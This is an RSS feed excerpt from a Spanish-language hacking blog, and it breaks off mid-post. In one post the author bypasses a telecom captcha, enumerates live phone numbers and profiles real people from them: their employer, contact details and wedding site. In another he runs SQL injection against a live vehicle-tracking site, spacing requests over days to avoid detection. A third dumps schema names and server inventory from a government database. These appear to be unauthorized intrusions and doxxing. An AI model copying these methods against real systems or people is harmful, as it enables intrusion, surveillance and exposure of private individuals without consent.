<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-3627674836739440773</atom:id><lastBuildDate>Sun, 04 Oct 2015 00:09:01 +0000</lastBuildDate><category>iSQL</category><category>Metasploit Framework</category><category>Auditorías de Seguridad</category><category>XSS</category><category>Tutoriales Hacking</category><category>Facebook</category><category>Noticias</category><category>Anonymous</category><category>Eventos</category><category>Off Topic</category><category>PHP</category><category>Paper&#39;s</category><category>Análisis de Malware</category><category>Dump</category><category>Full Source Disclosure</category><category>Intrusiones</category><category>Laboratorios</category><category>Malware</category><category>Priv8</category><category>Pwned&#39;s</category><category>Reporte</category><category>phpGrid</category><category>Comic</category><category>Diclosure</category><category>Disclosure</category><category>Linux</category><category>MSSQL</category><category>Phishing</category><category>Tutorial</category><category>ask.fm</category><category>0day</category><category>Automoviles</category><category>BlackBerry</category><category>CodeIgniter</category><category>Conferencias</category><category>Criptografía</category><category>Desarrollo</category><category>Diseño</category><category>GEEK</category><category>Herramientas</category><category>Libro</category><category>MVC</category><category>Nmap</category><category>Ofuscación</category><category>Owned</category><category>Proxy</category><category>Pwn3d</category><category>Robo</category><category>SMS</category><category>SQLMap</category><category>SSH</category><category>Sec-Track</category><category>Social Engineer Toolkit (SET)</category><category>Tournament</category><category>WarGames</category><category>XAMPP</category><category>html5</category><category>jQuery</category><category>script</category><title>in[S]eguridad [I]nformatica</title><description>Una vulnerabilidad es tan limitada como tu quieras que sea</description><link>http://shellrootsecurity.blogspot.com/</link><managingEditor>noreply@blogger.com (Alex Jurado)</managingEditor><generator>Blogger</generator><openSearch:totalResults>137</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-8606893256679841964</guid><pubDate>Sun, 23 Aug 2015 19:46:00 +0000</pubDate><atom:updated>2015-08-23T12:46:52.827-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Auditorías de Seguridad</category><title>Tigo y su captcha: Conociendo sus clientes</title><description>&lt;div id=&quot;contenido-post&quot;&gt;&lt;img height=&quot;70&quot; src=&quot;http://4.bp.blogspot.com/-9rPXtGD2s3k/VdoiYz15ACI/AAAAAAAAAxs/AocdYG8vHAQ/s200/Logo_Tigo.svg.png&quot; /&gt;Ahora el turno es para Tigo, hay un sistema llamado &lt;b&gt;Paga tu factura en línea&lt;/b&gt;, el cual consta de un número movil y una captcha, todo normal. Veamos su funcionamiento: &lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-dkuABMQVlFs/VdlncXwAsRI/AAAAAAAAAwI/bc3Vt748fls/s1600/Sin%2Bt%25C3%25ADtulo1.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-dkuABMQVlFs/VdlncXwAsRI/AAAAAAAAAwI/bc3Vt748fls/s1600/Sin%2Bt%25C3%25ADtulo1.png&quot; /&gt;&lt;/a&gt;&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;Hagamos una petición a un número cualquiera en este caso voy a poner &lt;b&gt;1234567890&lt;/b&gt; siguiendo el formato de un número de celular común y corriente, tambien ingresamos la captcha que en este caso es &lt;b&gt;hFHtt&lt;/b&gt;, presionamos en consultar y el resultado es un lindo mensaje de que no existe dentro de la base de datos. &lt;br /&gt;&lt;br /&gt;Verifiquemos las cabeceras HTTP a ver que fue lo que enviamos :D &lt;br /&gt;&lt;pre class=&quot;brush:php&quot;&gt;GET http://www.tigo.com.co/pagarfacturaweb/37504159/hFHtt/1234567890&lt;br /&gt;&lt;br /&gt;Host: www.tigo.com.co&lt;br /&gt;User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0&lt;br /&gt;Accept: */*&lt;br /&gt;Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;X-Requested-With: XMLHttpRequest&lt;br /&gt;Referer: http://www.tigo.com.co/pago_express&lt;br /&gt;Cookie: SESS2a4f14016f3d7e26068c197481cd1d0e=DUZnF8luVYrnLuiESIeUyf_QlRP8TkKzuOaYd3vF61c; _ga=GA1.3.1990073354.1440267876; has_js=1; vkeywords=; _dc_gtm_UA-27828589-4=1&lt;br /&gt;DNT: 1&lt;br /&gt;Connection: keep-alive&lt;br /&gt;If-Modified-Since: *&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;Nada fuera de lo normal en la URL donde realiza la petición vemos la captcha seguido del número de celular enviados, que pasaría si realizamos la misma petición pero con una variante, el número de celular! Cambiemos el número de celular pero ahora por un real, veo entre mis contactos y encuentro a alguien el número de @sp1b0t! (jajaja mentiras) vamos a ver que pasa! &lt;br /&gt;&lt;br /&gt;Voala! Bypass de captcha! la petición fue satisfactoria además de mostrarme los datos de la factura! &lt;a href=&quot;http://1.bp.blogspot.com/-z2wC-rdoX-8/Vdlm0ZdtnFI/AAAAAAAAAv4/AvuueiGNBZ0/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-z2wC-rdoX-8/Vdlm0ZdtnFI/AAAAAAAAAv4/AvuueiGNBZ0/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;Ahora que sabemos que se puede bypassear la captcha me programe un script basico para saber que número de celular esta activo, es decir, si el número es terminado en 100 el script recorre hasta el número terminado en 200 verificando cual tiene una factura! &lt;i&gt;-no se como es el funcionamiento en Tigo, pero quizás esta verificación se pueda realizar con algunos números, no en todos los casos-&lt;/i&gt;. &lt;br/&gt;&lt;br/&gt;Saque 2 números para realizar una prueba de concepto uno terminado en &lt;b&gt;230****600&lt;/b&gt; y el otro en &lt;b&gt;230****687&lt;/b&gt;, como sabemos una cuenta de Facebook esta ligada a un número de celular así que si realizamos una busqueda con el número de celular podemos identificar a quien pertenece, por ejemplo con los números escogidos tengo el siguiente resultado: &lt;br/&gt;&lt;br/&gt;&lt;h1&gt;CASO 230****600&lt;/h1&gt;&lt;a href=&quot;http://1.bp.blogspot.com/--cnDPFraCBY/VdoQHJIr1SI/AAAAAAAAAwc/Hl2MGTSVVlE/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/--cnDPFraCBY/VdoQHJIr1SI/AAAAAAAAAwc/Hl2MGTSVVlE/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;Con una busqueda básica en google podemos ver que información de más podemos sacar, obviamente desde aqui parte un vector de ataque dirigido. El resultado de la busqueda nos da una información de que la persona tiene o vendio un vehiculo &lt;b&gt;Mazda 3&lt;/b&gt; modelo &lt;b&gt;2006&lt;/b&gt; con un kilometraje de &lt;b&gt;62.500Km&lt;/b&gt; por un valor de &lt;b&gt;$23.500.000&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;&lt;h1&gt;CASO 230****687&lt;/h1&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-plLJROW-TGc/VdoWSDVhKTI/AAAAAAAAAww/fglI7tGVpjc/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-plLJROW-TGc/VdoWSDVhKTI/AAAAAAAAAww/fglI7tGVpjc/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;En la busqueda en google podemos encontrar un documento PDF con una invitación a presentar oferta dentro del proceso ICFES -CLC-022-2010 &lt;a href=&quot;http://1.bp.blogspot.com/-ap9w5E8m7pE/VdoX8g4_5WI/AAAAAAAAAw8/fvjOAosj49o/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-ap9w5E8m7pE/VdoX8g4_5WI/AAAAAAAAAw8/fvjOAosj49o/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;Con este personaje tengo la siguiente información: Se que es el representante legal de x empresa, correo corporativo, el telefono, extensión y dirección del lugar de trabajo, nombres y apellidos completos. &lt;br/&gt;&lt;br/&gt;Encontre el website de la empresa donde trabaja la persona del &lt;b&gt;CASO 2&lt;/b&gt;, tienen una pequeña descripción de las personas que trabaja así que ya tengo información más puntual de la persona. &lt;br/&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-n6NRQc8GcU8/VdoZ9nR0i5I/AAAAAAAAAxI/qLFa50SGUUc/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-n6NRQc8GcU8/VdoZ9nR0i5I/AAAAAAAAAxI/qLFa50SGUUc/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;Representante legal y director de tecnologia posiblemente haciendo un whios al website pueda obtener más información de esta persona &lt;br/&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-vvq3iC8UBMw/VdoebBfMW7I/AAAAAAAAAxU/YNEz6tt2Geo/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-vvq3iC8UBMw/VdoebBfMW7I/AAAAAAAAAxU/YNEz6tt2Geo/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;Lo único que sobre sale el  número de identificación del registrante no tenia ni p**a idea de que era, así que le pregunte a mi amigo @chechohack y me explico lo siguiente: &lt;i&gt;Eso es un identificador para datacenter, debe ser ip colombiana porque sólo se mueve aca&lt;/i&gt;. &lt;br/&gt;&lt;br/&gt;Continuando la busqueda encontre un portal &lt;i&gt;-para ser sincero me parecio demasiado cursi jajajja-&lt;/i&gt; el cual tenia información de esta persona con su pareja, ahora se incluyo una nueva persona. Este portal es como especie de invitación al matrimonio de estas dos personas. &lt;br/&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-9rnKGEFoDDo/VdogYlJLahI/AAAAAAAAAxg/v0Q5gL96IMg/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-9rnKGEFoDDo/VdogYlJLahI/AAAAAAAAAxg/v0Q5gL96IMg/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;Para no ser más extenso dejaré hasta aquí, se puede ver que se pueda sacar mucha información partiendo de un número de celular. &lt;br/&gt;&lt;br/&gt;Hasta la proxima! &lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2015/08/tigo-y-su-captcha-conociendo-sus.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-9rPXtGD2s3k/VdoiYz15ACI/AAAAAAAAAxs/AocdYG8vHAQ/s72-c/Logo_Tigo.svg.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-7187497831613560355</guid><pubDate>Fri, 22 May 2015 16:03:00 +0000</pubDate><atom:updated>2015-05-26T21:34:58.440-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Auditorías de Seguridad</category><title>Spia GPS - Ubicación y seguimiento vehicular</title><description>&lt;div id=&quot;contenido-post&quot;&gt;   &lt;img src=&#39;http://1.bp.blogspot.com/-mYD16IEluOM/VV46bArmRpI/AAAAAAAAAkE/a_DncMxNQyI/s1600/logo_sky.png&#39; /&gt; Nuevamente con ganas de llegar aun más lejos, y reteniendo las ganas de publicar una entrada que tengo pendiente porque se que puedo entrar más a fondo y se trata nada más y nada menos de una universidad de &quot;alguna&quot; ciudad de colombia, ya llegará el día en el que publique finalmente mi post. &lt;br/&gt;&lt;br/&gt;Una noche testeando y recordando aquel &lt;a target=&quot;_blank&quot; href=&quot;http://shellrootsecurity.blogspot.com/2015/01/owneando-sistema-de-seguimiento-y.html&quot;&gt;sistema de control vehicular&lt;/a&gt; en el que logre entrar, me puse a mirar una web que se encarga de monitorear y ubicar vehiculos por medio de gps. Ví que no sólo eran vehiculos individuales sino que tambien existe un servicio empresarial, el cual se encarga de monitorear varios vehiculos pertenecientes a flotas de buses. &lt;br/&gt;&lt;br/&gt;Esta web me saco muchas noches, y hablando con mi amigo &lt;a target=&quot;_blank&quot; href=&quot;http://www.maztor.com/&quot;&gt;maztor&lt;/a&gt; inicialmente la veiamos como si fuera un fake, &lt;i&gt;-más que todo por el diseño, no tenia fachada de que fuera algo real ejjejee, malditas apariencias-&lt;/i&gt; decidi buscar más a fondo antes de perder el tiempo. &lt;br/&gt;&lt;br/&gt;Inicialmente busque su whois para ver la información del propietario y me dio este resultado: &lt;br/&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-Uj2be5-2vnE/VV5DuIJKL3I/AAAAAAAAAkY/A0S4MkCaYEU/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-Uj2be5-2vnE/VV5DuIJKL3I/AAAAAAAAAkY/A0S4MkCaYEU/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Se puede ver en el correo de contacto otro dominio, realizando un simple ping a las dos, tiene casi el mismo rango de ip &lt;br/&gt;&lt;pre&gt;C:\Users\SoportePC&gt;ping spia.com.co&lt;br /&gt;&lt;br /&gt;Haciendo ping a spia.com.co [200.91.236.123] con 32 bytes de datos:&lt;br /&gt;Respuesta desde 200.91.236.123: bytes=32 tiempo=8ms TTL=56&lt;br /&gt;Respuesta desde 200.91.236.123: bytes=32 tiempo=10ms TTL=56&lt;br /&gt;Respuesta desde 200.91.236.123: bytes=32 tiempo=10ms TTL=56&lt;br /&gt;Respuesta desde 200.91.236.123: bytes=32 tiempo=8ms TTL=56&lt;br /&gt;&lt;br /&gt;C:\Users\SoportePC&gt;ping taxislibres.com.co&lt;br /&gt;&lt;br /&gt;Haciendo ping a taxislibres.com.co [200.91.236.125] con 32 bytes de datos:&lt;br /&gt;Respuesta desde 200.91.236.125: bytes=32 tiempo=8ms TTL=56&lt;br /&gt;Respuesta desde 200.91.236.125: bytes=32 tiempo=7ms TTL=56&lt;br /&gt;Respuesta desde 200.91.236.125: bytes=32 tiempo=7ms TTL=56&lt;br /&gt;Respuesta desde 200.91.236.125: bytes=32 tiempo=8ms TTL=56&lt;/pre&gt;&lt;br/&gt;La nueva dirección tiene un diseño más bonito que la anterior así que por ahora me tiro por testear la de &lt;a target=&quot;_blank&quot; href=&quot;http://www.taxislibres.com.co/webtaxislibres/webtaxislibresV.2/&quot;&gt;taxislibres.com.co&lt;/a&gt;, tambien se puede ver que tiene otro dominio &lt;a target=&quot;_blank&quot; href=&quot;http://www.losunos.com.co/webtaxis/&quot;&gt;losunos.com.co&lt;/a&gt; le tiro un vistazo rapido y no le veo nada. &lt;br/&gt;&lt;br/&gt;Ahora me tiro por &lt;a target=&quot;_blank&quot; href=&quot;http://spia.com.co:8090/spiaweb/index.php&quot;&gt;http://spia.com.co:8090/spiaweb/index.php&lt;/a&gt;, este tiene una inyección sql blind &lt;i&gt;(a ciegas)&lt;/i&gt;. Esta vulnerabilidad al ser tan lenta y con tantas peticiones, decido hacerla por días para no levantar sospechas. &lt;br/&gt;&lt;br/&gt;Está al igual que la antes mensionada son las webs que me gustan, ya que puedo sacar mucho provecho &lt;i&gt;(bueno si fuera ciberdelincuente o si no que lo diga @&lt;a href=&quot;https://twitter.com/M1ndCr4ck&quot;&gt;M1ndCr4ck&lt;/a&gt; y @&lt;a href=&quot;https://twitter.com/sp1b0t&quot;&gt;sp1b0t&lt;/a&gt; algun día realizaremos pentest desde bogota xD)&lt;/i&gt;. &lt;br/&gt;&lt;br/&gt;Esta es la plataforma ingresando como un vehiculo normal, aqui puedo saber la ubicación actual y/o la ultima ubicación hasta cuando se apago el gps, puedo ver la ubicación, la velocidad, el departamento, la ciudad, la posición en latitud y longitud. &lt;a href=&quot;http://3.bp.blogspot.com/-negtRbWnYkM/VV68x-hfLpI/AAAAAAAAAkk/WrBESSXAIg0/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-negtRbWnYkM/VV68x-hfLpI/AAAAAAAAAkk/WrBESSXAIg0/s1600/Sin%2Bt%25C3%25ADtulo.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Aqui en esta puedo ver los puntos donde se movio en cualquier día a cualquier hora &lt;i&gt;(sólo 1 día)&lt;/i&gt;, &lt;a href=&quot;http://3.bp.blogspot.com/-BHi2H31mE7c/VV68yEylm1I/AAAAAAAAAk0/Br20TCpnmfs/s1600/Sin%2Bt%25C3%25ADtulo2.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-BHi2H31mE7c/VV68yEylm1I/AAAAAAAAAk0/Br20TCpnmfs/s1600/Sin%2Bt%25C3%25ADtulo2.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Aqui podemos sacar algunos reportes de movimientos entre un intervalo de fechas, &lt;a href=&quot;http://4.bp.blogspot.com/-Fa-YE7rdnA4/VV68yXcFppI/AAAAAAAAAk4/BIx6lo1kdbo/s1600/Sin%2Bt%25C3%25ADtulo3.png&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-Fa-YE7rdnA4/VV68yXcFppI/AAAAAAAAAk4/BIx6lo1kdbo/s1600/Sin%2Bt%25C3%25ADtulo3.png&quot; /&gt;&lt;/a&gt;&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;&lt;br/&gt;Sacando información primero intento sacar los datos de algunas tablas importantes, inicialmente entraré a la base de datos pero primero investigaré y trataré de ver la tabla donde se guardan los usuarios de bases de datos &lt;i&gt;-en elhacker.net le pregunte a uno de los dioses &lt;a target=&quot;_blank&quot; href=&quot;http://foro.elhacker.net/profiles/whk-u148268.html&quot;&gt;WHK&lt;/a&gt; y me dio un tip-&lt;/i&gt;, la base de datos donde se guarda es &lt;b&gt;pg_catalog&lt;/b&gt; y la tabla es &lt;b&gt;pg_user&lt;/b&gt; y las columnas son &lt;b&gt;usename&lt;/b&gt;, &lt;b&gt;passwd&lt;/b&gt;. De esta forma no saturaremos de peticiones el servidor, sino que se realizara una query mas directa. &lt;br/&gt;&lt;br/&gt;Pasando otro día, cansado de esta inyección blind ingrese al panel con el vehiculo anterior e intente inyectar para ver si puedo sacar los datos más rapido, y encontre otra petición post donde la inyección es normal, ahora todo es más facil y agil. &lt;br/&gt;&lt;br/&gt;Esto es todo por ahora, para no hacer más largo este post lo dejaré y seguire a ver hasta donde puedo llegar. Quizás después haga la continuación y con resultados aun mayores. &lt;i&gt;(Este es un reto que me lo tome muy a fondo y le gaste mucho tiempo, no lo dejaré tan facil :p)&lt;/i&gt;. &lt;br/&gt;&lt;br/&gt;Feliz Hack! &lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2015/05/spia-gps-ubicacion-y-seguimiento.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-mYD16IEluOM/VV46bArmRpI/AAAAAAAAAkE/a_DncMxNQyI/s72-c/logo_sky.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-4695592493704408438</guid><pubDate>Fri, 30 Jan 2015 17:21:00 +0000</pubDate><atom:updated>2015-01-30T13:37:43.153-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Auditorías de Seguridad</category><category domain="http://www.blogger.com/atom/ns#">iSQL</category><title>Dane - Attack iSQL</title><description>&lt;div id=&quot;contenido-post&quot;&gt;   &lt;img src=&#39;http://4.bp.blogspot.com/-P9Q7LkTHiJ4/VMu1IsdafFI/AAAAAAAAAh8/6CwsSVC4oOM/s320/sedese-subsedes-dane.png&#39; /&gt; Esta vez la web afectada es &lt;a href=&quot;https://www.dane.gov.co/&quot; target=&quot;_blank&quot;&gt;dane.gov.co&lt;/a&gt;, afectada por una iSQL en Oracle y como tiempo atras con mi amigo UNDER de &lt;a href=&quot;http://foro.elhacker.net/&quot; target=&quot;_blank&quot;&gt;ehn &lt;/a&gt;realizabamos pruebas con unn iSQL en Oracle y no obtuvimos resultados satisfactorios, decidi practicar un poco antes de retomar el reto. &lt;br/&gt;&lt;br/&gt;Tambien mirando las bases de datos vi algunos datos que puedo destacar, jamas habia visto datos tan sensibles como los que vi, &lt;i&gt;-lo de sensibles lo digo porque cualquiera pueda obtener los datos y utilizarlos como vector de ataque más directo, por así decirlo-&lt;/i&gt;. &lt;br/&gt;&lt;br/&gt;Bases de datos, &lt;pre class=&#39;brush:php&#39;&gt;&lt;br /&gt;- BDG_OLRR&lt;br /&gt;- BDG_OPERATIVO_2011&lt;br /&gt;- BODEGA_DATOS_ESPACIALES&lt;br /&gt;- CARTO_PREDIAL_RURAL&lt;br /&gt;- CARTOGRAFIA_PREDIAL&lt;br /&gt;- CARTOGRAFIA_PREDIAL_2&lt;br /&gt;- CARTOGRAFIA_PREDIAL_3&lt;br /&gt;- CARTOGRAFIA_PREDIAL_4&lt;br /&gt;- CTXSYS&lt;br /&gt;- DIG_AARELLANOR&lt;br /&gt;- DIG_ACARDOZOA&lt;br /&gt;- DIG_AIPENAR&lt;br /&gt;- DIG_AJFIERRO&lt;br /&gt;- DIG_AMONTERO&lt;br /&gt;- DIG_ARUIZR&lt;br /&gt;- DIG_BEMIRA&lt;br /&gt;- DIG_CADURANG&lt;br /&gt;- DIG_CAROMEROA&lt;br /&gt;- DIG_CATALOGO&lt;br /&gt;- DIG_CDEVIA&lt;br /&gt;- DIG_CHERNANDEZ&lt;br /&gt;- DIG_CRINCON&lt;br /&gt;- DIG_DASALASC&lt;br /&gt;- DIG_DFGUZMAN&lt;br /&gt;- DIG_EANINON&lt;br /&gt;- DIG_EGUEVARA&lt;br /&gt;- DIG_EMDELGADO&lt;br /&gt;- DIG_ERUBIANOL&lt;br /&gt;- DIG_FCHITIVA&lt;br /&gt;- DIG_GALFEREZR&lt;br /&gt;- DIG_HROJASM&lt;br /&gt;- DIG_IJVILLAMIL&lt;br /&gt;- DIG_JAGOMEZT&lt;br /&gt;- DIG_JAMONROYB&lt;br /&gt;- DIG_JFDUQUET&lt;br /&gt;- DIG_JMALVARADO&lt;br /&gt;- DIG_JRODRIGUEZ&lt;br /&gt;- DIG_JZORA&lt;br /&gt;- DIG_LARBOLEDA&lt;br /&gt;- DIG_LCFERNANDEZ&lt;br /&gt;- DIG_LMONTERO&lt;br /&gt;- DIG_LSEGURAL&lt;br /&gt;- DIG_LYMORAF&lt;br /&gt;- DIG_MAVELASQUEZ&lt;br /&gt;- DIG_MORJUELAR&lt;br /&gt;- DIG_NABOHORQUEZ&lt;br /&gt;- DIG_NTRUJILLO&lt;br /&gt;- DIG_OJTORRESJ&lt;br /&gt;- DIG_OLMELLIZOO&lt;br /&gt;- DIG_OMLOPEZ&lt;br /&gt;- DIG_PLMUNOZ&lt;br /&gt;- DIG_PMFRANCO&lt;br /&gt;- DIG_RSARMIENTO&lt;br /&gt;- DIG_RSEGURAR&lt;br /&gt;- DIG_SKAGUIRREG&lt;br /&gt;- DIG_SMORALESL&lt;br /&gt;- DIG_SRODRIGUEZ&lt;br /&gt;- DIG_SYBOLIVAR&lt;br /&gt;- DIG_YGJAIMESR&lt;br /&gt;- EXFSYS&lt;br /&gt;- HOMOLOGADAS&lt;br /&gt;- INFO_REFERENCIA_CATASTRO&lt;br /&gt;- INVENTARIOS&lt;br /&gt;- MAGNA_OPECENSO_2005&lt;br /&gt;- MDSYS&lt;br /&gt;- OLAPSYS&lt;br /&gt;- OPE_CENSO_2005&lt;br /&gt;- OUTLN&lt;br /&gt;- REGISTROS_CATASTRALES&lt;br /&gt;- SDE&lt;br /&gt;- SYS     --&gt; DB ORACLE&lt;br /&gt;- SYSTEM    --&gt; NADA&lt;br /&gt;- UCENSALES_AJUSTADAS05&lt;br /&gt;- UCENSALES_SINAJUSTAR05&lt;br /&gt;- V_MAGNA_1993&lt;br /&gt;- V_MAGNA_1994&lt;br /&gt;- V_MAGNA_1995&lt;br /&gt;- V_MAGNA_1999&lt;br /&gt;- V_MAGNA_2000&lt;br /&gt;- V_MAGNA_2001&lt;br /&gt;- V_MAGNA_2002&lt;br /&gt;- V_MAGNA_2003&lt;br /&gt;- V_MAGNA_2004&lt;br /&gt;- V_MAGNA_2005&lt;br /&gt;- V_MAGNA_2006&lt;br /&gt;- V_MAGNA_2008&lt;br /&gt;- V_MAGNA_2010&lt;br /&gt;- V_MAGNA_2011&lt;br /&gt;- V_MAGNA_2012&lt;br /&gt;- V_MAGNA_2013&lt;br /&gt;- V_MAGNA_2014&lt;br /&gt;- WMSYS&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;Datos interesantes, &lt;pre class=&#39;brush:php&#39;&gt;&lt;br /&gt;+-------------+------------------+------------------+-------------------------+&lt;br /&gt;| SRVD_NOMBRE | SRVD_MEMORIA_RAM | SRVD_PROCESADOR  | SRVD_USUARIO_ADMNSTRDOR |&lt;br /&gt;+-------------+------------------+------------------+-------------------------+&lt;br /&gt;| DG_EST07    | 4 GB             | Intel Xeon 5160  | NULL                    |&lt;br /&gt;| DG_EST19    | 4 GB             | Intel Xeon 5160  | NULL                    |&lt;br /&gt;| DG_EST01    | 2 GB             | Intel Xeon       | NULL                    |&lt;br /&gt;| DG_PC05     | 1                | AMD Athlon 64 X2 | NULL                    |&lt;br /&gt;| DGWEB02     | 4 GB             | Intel Xeon       | Administrador           |&lt;br /&gt;| SYSTEMA47   | 64 GB            | Intel Xeon       | Administrator           |&lt;br /&gt;| SYSTEMA63   | 4 GB             | Intel Xeon       | NULL                    |&lt;br /&gt;| DGWEB       | 4 GB             | Intel Xeon       | Administrator           |&lt;br /&gt;+-------------+------------------+------------------+-------------------------+&lt;br /&gt;&lt;/pre&gt;Interesante el equipo &lt;b&gt;SYSTEMA47&lt;/b&gt; un &lt;b&gt;Intel Xeon&lt;/b&gt; de &lt;b&gt;64 GB&lt;/b&gt; Wooow! &lt;br/&gt;&lt;br/&gt;Las bases de datos que usan: &lt;i&gt;Actualmente estoy en la Oracle!&lt;/i&gt;&lt;pre class=&#39;brush:php&#39;&gt;&lt;br /&gt;+-----------+-------------+--------------+&lt;br /&gt;| BSDT_SMBD | BSDT_NOMBRE | BSDT_VERSION |&lt;br /&gt;+-----------+-------------+--------------+&lt;br /&gt;| ORACLE    | ORACLE      | 11.2 R2      |&lt;br /&gt;| POSTGIS 2 | POSTGIS 2   | 2.1          |&lt;br /&gt;+-----------+-------------+--------------+&lt;br /&gt;&lt;/pre&gt;Datos reales? Pues es lo que se almacena actualmente en la base de datos :p, Hasta la proxima! &lt;br/&gt;&lt;br/&gt;Feliz Hack!&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2015/01/dane-attack-isql.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-P9Q7LkTHiJ4/VMu1IsdafFI/AAAAAAAAAh8/6CwsSVC4oOM/s72-c/sedese-subsedes-dane.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-3350438615277114389</guid><pubDate>Fri, 23 Jan 2015 16:10:00 +0000</pubDate><atom:updated>2015-01-30T09:21:17.009-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PHP</category><category domain="http://www.blogger.com/atom/ns#">phpGrid</category><title>phpGrid 2015 - Desofuscar código</title><description>&lt;div class=&quot;contenido-post&quot;&gt;&lt;img height=&quot;150&quot; src=&quot;http://1.bp.blogspot.com/-TVtciRzJyMU/UTAkoDhYi8I/AAAAAAAAAW8/RKM83-w2vR8/s640/phpgrid-desofuscado-al-100_2045.png&quot; width=&quot;640&quot; /&gt;De nuevo necesito utilizar el componente &lt;b&gt;phpGrid&lt;/b&gt; para uno de mis proyectos y tenia un problema al momento de utilizar una columna con hipervinculo (no viene al caso 